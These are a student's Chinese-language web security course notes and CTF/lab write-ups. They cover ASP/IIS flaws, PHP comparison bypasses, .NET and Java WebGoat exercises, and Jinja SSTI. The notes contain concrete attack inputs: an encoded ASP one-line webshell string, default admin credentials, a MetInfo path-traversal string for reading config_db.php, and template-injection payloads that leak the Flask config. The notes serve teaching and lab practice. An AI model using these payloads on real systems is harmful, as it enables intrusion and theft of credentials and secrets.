小迪安全web攻防

第18天:WEB攻防-ASP安全_MDB下载植入_IIS短文件名_写权限_解析

这一天的漏洞是特别久的,几乎见不到了

知识点

  1. ASP环境搭建组合

    windows iis asp access (sqlserver) asp不能在Linux上运行的

  2. ASP-数据库下载&植入

  3. IIS-短文件&解析&写权限

演示案例

ASP-数据库-MDB默认下载

access数据库一般后缀 asp asa mdb(下载) 大部分是mdb

mdb文件他在网站目录下

思路:如果我们知道这个数据库的地址,尝试可以下载获取数据库文件,获取当前管理员账号密码信息

怎么知道数据库的地址:可以扫描得到,也可尝试默认数据库配置

用虚拟机搭建网站

访问页面

翻到最下面有管理员登陆,账密默认是admin和admin888(应该是所有的都是这样)

继续我们的思路,访问默认的路径尝试下载数据库文件

成功下载

打开发现有管理员账密

ASP-数据库-ASP后门植入连接

这里又搭了另一个网站

和上一个网站不同的是,它的数据库文件的格式是asp,在网站上会被执行而不是下载

对应这样的网站,可以上传木马到数据库后使用工具连接后门获取控制权限

通过留言板留言

1
┼攠數畣整爠煥敵瑳∨≡┩愾

这句话是加密后的,加密密码是a,加密方式是: ANSI->Unicode

上传一句话木马,后用工具访问连接该工具,这里没有复现因为没工具

效果是可以像windows一样操作网站目录

ASP-中间件-IIS短文件名探针-安全漏洞

利用中间件扫描网站目录结构,只能看到文件或目录的前六位字母

ASP-中间件-IIS文件上传解析-安全漏洞

上传后门是asp格式肯定上传不上去,该格式为jpg是不可执行的

但是这种.asp;.jpg他的格式依然是jpg但是在网页是可以执行的

还有如果.jpg文件放在以.asp结尾的目录下的话,网页访问.jpg是可以执行的

这是iis的特性漏洞,任意格式的文件都能当成asp文件执行

ASP-中间件-IIS配置目录读写-安全配置

这个漏洞叫IIS PUT

在配置使用iis的网站时给了写权限并打开WebDAV

可以使用对应的工具去检查是否有该漏洞,也有对应的工具利用该漏洞,可以随意上传文件

那个工具有毒如果要用记得在虚拟机上使用

第19天:WEB攻防-.NET项目_DLL反编译_未授权访问_配置调试报错

配置:(aspx貌似是asp+.net)

Windows + iis + aspx + sqlsever

知识点

  1. .NET配置调试-信息泄露

  2. .NET源码反编译-DLL反编译

  3. .NET常见安全问题-未授权访问

    判断用户的身份:

    由于后台本身有多个功能文件页面

    1、 在每个文件里面添加判断代码

    2、 创建一个文件专门用来判断,其他文件包含调用它

    找未授权访问:

    1、找那些文件没有包含验证代码文件

    2、验证代码文件有没有可以绕过

C#语言是为对抗java市场风格而产生的,他和Java很像

一些代码库文件会封装到一个文件里,这个文件在c#里是以dll为后缀,在Java里是jar文件

这些封装好的库文件要得到需要反编译

.NET是微软官方开发的框架,用c#开发

框架类似是一个环境

.NET项目-DLL反编译指向-代码特性

使用ILSpy,将dll文件拖入工具里就能反编译,打开一个文件可以看到上面的路径

dll文件会放在bin目录下,拖入对应文件,可以找到要找的具体实现方法

.NET项目-Web.config错误调试-信息泄露

Web.config文件中定义配置网站的数据库连接和

其中有一个

1
<customErrors mode='Off'>

这里的报错是指url编写导致的错误

这是一个设置报错显示的选项,如果是off状态,报错之后会显示报错原因(具体代码,报错文件路径,以及.NET版本)

On状态则自定义报错后的显示,不会因为报错而泄露一些信息。

这个报错危害不大,只是信息泄露

.NET项目-身份验证未授权访问-安全漏洞

网站没搭出来,复现不了

登录之后会到达这个文件

在源码端查看该文件,没找到验证的代码,判断是包含了验证代码文件

在最上方有包含信息,使用工具将其反编译

对应的位置

发现这不是验证代码,我们在管理员的那个页面有看到了这个文件

打开查看

有对应一个包含文件

查看

验证代码:

1
2
3
4
5
if (UserHelper.GetUserId <= 0)
{
base.Response.Redirect("../login.aspx");
return;
}

想办法绕过判断,让GetUserId>0,跟进查看GetUserId

分析之后认为应该让第二个判断为true才能返回>0

抓包后加Cookie

尝试放包后成功未授权

第20天:WEB攻防-PHP特性_缺陷对比函数_CTF考点_CMS审计实例

php的代码特性(部分函数)

== ===

1
2
3
4
5
6
7
8
9
<?php
header("Content-Type:text/html;charset=utf-8");
$flag='xiaodi ai chi xigua!';

//1、== ===缺陷绕过 == 弱类型对比 ===还会比较类型
$a=1;
if($a==$_GET['x']){
echo $flag;
}

一个=是赋值,==是比较(不比较类型)

===是比较(比较类型)

用==做判断,访问之后会发现有多种情况使判断成立

改成===就不会这样

==会强制转换数据类型

md5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
header("Content-Type:text/html;charset=utf-8");
$flag='xiaodi ai chi xigua!';

//1、== ===缺陷绕过 == 弱类型对比 ===还会比较类型
if($_GET['name'] != $_GET['password']){
if(MD5($_GET['name']) == MD5($_GET['password'])){
echo $flag;
}
echo '?';
}
//==
//echo MD5('QNKCDZO');
//echo MD5('240610708');

//===
//name[]=1&password[]=2

先让name和password不相等,再让两个值的md5加密相等

绕过方式

<1> 0e绕过(仅==可以

科学记数法是一种记数的方法。

计算器表达10的幂一般是用E或e

如:2 760 000 = 2.76×10^6 = 2.76e6

​ 所以0e,无论后面跟什么值,都是0

<2> 数组绕过(两种比较都可以

数组绕过的原理

1
2
md5不能加密数组 ,如 a[]=1 , b[]=1 , 传入数组会报错,但会继续执行并且返回结果为null
比如传入md5(a[]=1)==md5(b[]=2),实际上是null==null,所以数组进行md5弱比较时,结果相等

intval

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
header("Content-Type:text/html;charset=utf-8");
$flag='xiaodi ai chi xigua!';

//3、intval缺陷绕过
$i='666';
$ii=$_GET['n'];
if(intval($ii==$i)){
echo $flag;
}



$i='666';
$ii=$_GET['n'];
if(intval($ii==$i,0)){
echo $flag;
}

语法

1
int intval ( mixed $var [, int $base = 10 ] )

通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

参数 描述
var 要转换成 integer 的数量值。
base 转化所使用的进制。

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
  • 将使用 10 进制 (decimal)。

666(10)16进制为0x29a,但是尝试之后不能绕过,可能是php版本的问题,或者是==数量问题

strpos

语法

找到返回第一次匹配索引,找不到返回false

1
strpos(string,find,start)
参数 描述
string 必需。规定要搜索的字符串。
find 必需。规定要查找的字符串。
start 可选。规定在何处开始搜索。
1
2
3
4
5
6
7
8
9
10
<?php
header("Content-Type:text/html;charset=utf-8");
$flag='xiaodi ai chi xigua!';

//4、对于strpos()函数,我们可以利用换行进行绕过(%0a)
$i='666';
$ii=$_GET['h'];
if(strpos($i,$ii,"0")){
echo $flag;
}

直接输?h=666不会判断成功,因为该函数返回值是第一次出现的索引也就是0,而if(0)就是不执行

(%0a是换行符的编码)

这个是绕不过的,这里是瞎说,加了%0a就让检测语句变为\n666怎么都不会通过

in_array

定义和用法

in_array() 函数搜索数组中是否存在指定的值。

注释:如果 search 参数是字符串且 type 参数被设置为 TRUE,则严格查找比较类型。


语法

in_array(search,array,type)

参数 描述
search 必需。规定要在数组搜索的值。
array 必需。规定要搜索的数组。
type 可选。如果该参数设置为 TRUE,则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。
1
2
3
4
5
6
7
8
9
10
<?php
header("Content-Type:text/html;charset=utf-8");
$flag='xiaodi ai chi xigua!';

//5、in_array第三个参数安全
$whitelist = [1,2,3];
$page=$_GET['i'];
if (in_array($page, $whitelist)) {
echo "yes";
}

和弱比较==类似

preg_match

preg_match — 进行正则表达式匹配。

语法:int preg_match ( string $pattern , string $subject [, array $matches [, int $flags ]] )

在 subject 字符串中搜索与 pattern 给出的正则表达式相匹配的内容。如果提供了 matches ,则其会被搜索的结果所填充。$matches[0] 将包含与整个模式匹配的文本,$matches[1] 将包含与第一个捕获的括号中的子模式所匹配的文本,以此类推。

参数 说明
pattern 正则表达式
subject 需要匹配检索的对象
matches 可选,存储匹配结果的数组, $matches[0] 将包含与整个模式匹配的文本,$matches[1] 将包含与第一个捕获的括号中的子模式所匹配的文本,以此类推
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
header("Content-Type:text/html;charset=utf-8");
$flag='xiaodi ai chi xigua!';

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

输入num使得其不是数字又是数字(

preg_match匹配0到9,如果有就停止并输出no no no!,接着intval提取$num中的整数

绕过原因

preg_match不能处理数组

str_replace

用于过滤sql语句,将检查的词替换,替换可以是空

1
2
3
4
5
6
7
8
9
<?php
header("Content-Type:text/html;charset=utf-8");
$flag='xiaodi ai chi xigua!';

//7、str_replace无法迭代过滤
$sql=$_GET['s'];
$sql=str_replace('select','',$sql);
echo $sql;

有缺陷,不能迭代循环检查

在select中间插入一个select就能绕过

ctf题目

  1. ctfshow-php特性-web89

    进去之后和之前的代码很类似

    数组绕过,传一个数组

  2. web90

    思路:传一个十六进制的4476

  3. web91

    其中有正则表达式的符号,^表示从起始位置开始匹配,$代表匹配的结束位置i代表大小写不敏感,m代表多行模式,会在每一行进行匹配检查而不是仅检查第一行

    所以整个/^php$/im表示多行匹配以php开头结尾的东西

    /^php$/i没有多行模式,只能匹配第一行

    思路:让第一个if为true第二个if为false,传%0aphp

  4. web92

    和之前的区别在于第一个判断用的是两个等于号,会强制转换类型,所以只需要4476.1即可,intval是提取整数。

  5. web93

    和上一个差不多,num加了一个不能有字母,继续用4476.1就可以

  6. web94

    第一个判断,类型绕过不行了,往下第二个16进制0x中x被过滤,再往下第三个判断8进制的0被过滤

    第三个可以绕,加一个空格,让检索0的位置不是0(个人理解)

    但是最后,4467.0也能绕

  7. web95

    和上一题区别在于过滤了**.**,继续用空格和8进制绕过

  8. web96

    加上./和原来的路径是一样的,但是不等于flag.php(还是想不到

  9. web97

    和之前介绍==和

    ===区别时候例子时的代码一样,区别是这个要用post传参

cms案例

str_replace函数检查只检查一次

MethInfo6.0.0中

include目录下pager.class.php文件有任意文件读写漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function doshow(){
global $_M;

$dir = str_replace(array('../','./'), '', $_GET['dir']);//过滤../和./,双写绕过


if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){//==弱比较,需要有http
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}

访问该页面抓包,试路径

尝试访问\config\config_db.php

拼接出来的

1
......///http\.....//\config\config_db.php
1
2
一次过滤(过滤../)之后应是
....//http\.../\config\config_db.php
1
2
第二次(过滤./)之后
.../http\..\config\config_db.php

在源码里加上了一条echo $dir;

输出出来的是

1
.../http\..\config\config_db.php

浏览器看不见,只能用burp

1
\

的目的是防止./被过滤后面还有一次&& strpos($dir, ‘./‘) === false,这里没看明白

1
\和/没啥区别

第21天:WEB攻防-JavaWeb项目&JWT身份攻击&组件安全&访问控制

知识点

1、JavaWeb常见安全及代码逻辑

2、目录遍历&身份验证&逻辑&JWT

3、 访问控制&安全组件&越权&三方组件

案例演示

WebGoat靶场

1
在jdk的bin目录下执行cmd指令:java.exe -jar webgoat-server-8.1.0.jar --server.port=9091

1、 目录穿越

上传图片抓包

这个包要放一两次能抓到这个

注意响应的路径,要找这个

将项目文件解压后用idea打开

先去看配置文件

看不出来什么

接着去库文件中去找

找到

直接双击打不开,将其添加为库,就是解压

接着找到对应的前端文件和抓包时的路径

对应路径上的名字的文件

PostMapping是请求路由地址,对应的值是抓包抓到的路径

文件中一段代码

1
2
3
4
@ResponseBody
public AttackResult uploadFileHandler(@RequestParam("uploadedFile") MultipartFile file, @RequestParam(value = "fullName",required = false) String fullName) {
return super.execute(file, fullName);
}
1
2
3
(@RequestParam("uploadedFile") MultipartFile file 将接收到的uploadedFile赋值给file
@RequestParam(value = "fullName",required = false) String fullName) 将fullName赋值给fullName
super.execute(file, fullName)再进行一个处理函数

我们在抓到的包中能找到对应的

uploadedFile

fullName

这里fullName是test对应的我们放包之后

再重新抓放,修改test为其他值尝试

题目要求到对应目录

用../进行尝试,默认要创建一个目录所以

用../test尝试

成功了,放包看浏览器

关卡过去之后会变成绿色

下一关做了修复,过滤了../

这次果然用之前的方法是不行的

但是查看对应源码发现是单次过滤

这和之前的一样,双写就能绕

讲这两个似乎没啥用,后面有实际案例介绍,要考虑实际上的应用,案例没有复现

网站上传一般是允许用户上传图片之类的东西,但是它知道有些人攻击者会上传脚本,为防止被攻击,网站将上传图片的目录的可执行权限禁用,此时就需要进行目录穿越,将脚本上传到根目录或者其他的可执行目录

2、 身份验证

抓包

根据对应的响应路径我们找到对应代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@ResponseBody
public AttackResult completed(@RequestParam String userId, @RequestParam String verifyMethod, HttpServletRequest req) throws ServletException, IOException {
AccountVerificationHelper verificationHelper = new AccountVerificationHelper();
Map<String, String> submittedAnswers = this.parseSecQuestions(req);
if (verificationHelper.didUserLikelylCheat((HashMap)submittedAnswers)) {
return this.failed(this).feedback("verify-account.cheated").output("Yes, you guessed correctly, but see the feedback message").build();
} else if (verificationHelper.verifyAccount(Integer.valueOf(userId), (HashMap)submittedAnswers)) {
this.userSessionData.setValue("account-verified-id", userId);
return this.success(this).feedback("verify-account.success").build();
} else {
return this.failed(this).feedback("verify-account.failed").build();
}
}

主要对应部分

其中

1
AccountVerificationHelper verificationHelper = new AccountVerificationHelper();

又要去对应文件查看

虽然这里有问题的答案,但是我们这里不是要说这种方式


对于这种验证方式

一般会有一些验证方式给你选择,比如

1
2
3
4
5
6
7
0-你的名字是什么  余温

1-你的出生地是哪里 吉林

2-你的老师是什么 xxxx

3-你的父母名字是什么 xxxx

那前端发送这些数据以及后端接收这些信息是用什么方式?

键值对的方式 ==>键号+键值的方式

比如给四个问题依次设置键号为

1
2
3
4
5
6
7
s0-你的名字是什么  余温

s1-你的出生地是哪里 吉林

s2-你的老师是什么 xxxx

s3-你的父母名字是什么 xxxx

在前端传输数据时就是这样

s0=余温&s1=吉林

或者

s2=xxxx&s3=xxxx

或者

其他的组合

但是当键号在数据库或者变量中不存在时

比如我们传s4=&s5=时,会怎样?

s4和s5在数据库或变量中不存在,那么问题的答案是不存在的

即s4=null&s5=null

所以这种传参应该是算是正确的通过的

再回到我们这个关卡,似乎能绕过


当然也有不是选择问题的验证,固定键号,那这种情况就绕不过去了


改键号

放包

成功绕过

2、 jwt token

关于jwt的文章:https://www.cnblogs.com/yokan/p/14468030.html

jwt的生成token格式如下,即:由 . 连接的三段字符串组成。

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

各部分有各部分加密方式

先是游客登陆抓包

没有找到对应jwt格式的cookie

换一个用户再抓包

这次找到了符合jwt格式的字符串

放到jwt解密网站上解密

解密出里面的信息

关卡要求

让把普通用户权限改为管理员


那似乎只要在jwt解密网站上把admin处的false改为true即可,但是不是这样的

要是这么简单那还有谁会用jwt验证

我们说jwt由三部分组成,头部负责说明jwt的加密模式,中间负责内容,尾部负责身份签名

尾部是一个密钥(密匙)

我们是没有密钥的,所以直接改不可以

有一种攻击方式是使用空加密算法忽略尾部的签名,这种伪造身份方式需要服务器支持空模式加密,但是应该实战很少见,作者这样说

这里虽然找到了处理的代码部分,但是jwt生成的代码太难找了,没找到,这里它是允许空加密的

用python脚本生成空加密的jwt字符串

但是我没成功

接着下一个关卡是爆破密钥

用密钥字典爆破,写python脚本进行尝试

没复现


jwt还有一种kid攻击方式,头部的一个参数,加上这个可以进行一些注入

3、 易受攻击的组件

中间件,库都算

写点东西然后发送一下,抓包

根据路径找对应代码

题目给出CVE-2013-7285,找了之后

而且版本是对应的

复制后放下输入框发送抓包

这里需要改一下,把payload改成复制的代码

发送之后运行计算器

calc.exe是计算器程序

这个漏洞就是远程代码执行的一个漏洞

这个库(有漏洞的组件)在文件中被加载,这个文件就能利用漏洞

4、 访问控制

  • 隐藏属性:前端限制信息显示

    管理员不想用户看到过多信息,就对传输过来的信息在显示到前端时做了限制,但是这些信息还是传输过来的

    通过抓包能看到

  • 水平越权:同一级别用户权限查看

垂直越权:权限上升(从普通用户到管理员)

第22天:WEB攻防-JS项目_Node.JS框架安全_识别审计_验证绕过

知识点

1、 原生JS&开发框架-安全条件

2、 常见安全问题-前端验证&未授权

详细点

1、 什么是js渗透测试?

在Javascript中也存在变量和函数,当存在可控变量及函数调用即可参数漏洞

JS开发的WEB应用和PHP,JAVA,NET等区别在于即使没有源代码,也可以通过浏览器的查看源代码获取真实的代码。所以相当于JS开发的WEB应用属于白盒测试(默认有源代码参考)

2、 流行的js框架有哪些?

3、 如何判定js开发应用?

插件wappalyzer

源代码简短

引入多个js文件

一般有/static/js/app.js等顺序的js文件

cookie中有connect.sid

这节课没啥弄啥东西,就看了,复现的apk啥的没找到

第23天:WEB攻防-Python考点_CTF与CMS-SSTI模版注入_PYC反编译

知识点

1、 PYC文件反编译

2、 Python-Web-SSTI

3、 SSTI模板注入利用分析

pyc文件

pyc文件是py文件编译后生成的字节码文件(byte code),pyc文件经过python解释器最终回生成机器码运行。因此pyc文件是可以跨平台部署的,类似java的.class文件,一般py文件改变后,都会重新生成pyc文件。

SSTI漏洞

1、 什么是SSTI?有什么漏洞危害?

漏洞成因就是服务端接受了用户的恶意输入之后,未经过任何处理就将其作为Web应用模块内容的一部分,模板引擎在进行目标编译渲染过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell等问题。其影响范围主要取决于模板引擎的复杂性。

2、 如何判断检测SSTI漏洞的存在?

输入的数据会被浏览器利用当前脚本语言调用解析执行

3、 SSTI会产生在哪些语言开发应用中?

4、 SSTI安全问题在生产环境哪里产生?

存在在模板引用的地方,如404错误页面显示

存在数据接收引用的地方,如模板解析获取参数数据

用python写的有关这个漏洞的页面。

正常访问情况就是路由/的页面

当访问错误地址时

查看页面源代码

这里的404_url没有传参,所以是None(代码没看懂)

传参

还有这个

这里说明这个参数传进去可以被python解释器解释执行

我们可以传入代码,可能是python版本的问题,没有复现成功

案例演示

buuctf [WesternCTF2018]shrine

查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//注释自己加的

import flask//引入模板库
import os

app = flask.Flask(__name__)//当前文件名为app

app.config['FLAG'] = os.environ.pop('FLAG')//告诉flag的位置,config数组中


@app.route('/')//设置路由
def index():
return open(__file__).read()//读取当前文件


@app.route('/shrine/<path:shrine>')//利用点
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')//过滤()
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s//返回了一串,不知道是啥感觉是加了一个s

return flask.render_template_string(safe_jinja(shrine))//render_template_string读取字符串


if __name__ == '__main__':
app.run(debug=True)

为啥要过滤()

https://xz.aliyun.com/t/7746

利用的函数都是带()的

1
2
3
4
5
6
url_for()函数是用于构建操作指定函数的URL
get_flashed_messages()函数是获取传递过来的数据
/shrine/{{url_for.__globals__}}//全局变量
/shrine/{{url_for.__globals__['current_app'].config}}
/shrine/{{get_flashed_messages.__globals__}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

url_for()这个函数不需要加括号,直接url_for.函数即可调用要使用的函数,

get_flashed_messages()和上一个函数类似,区别是他是获取传过来的数据,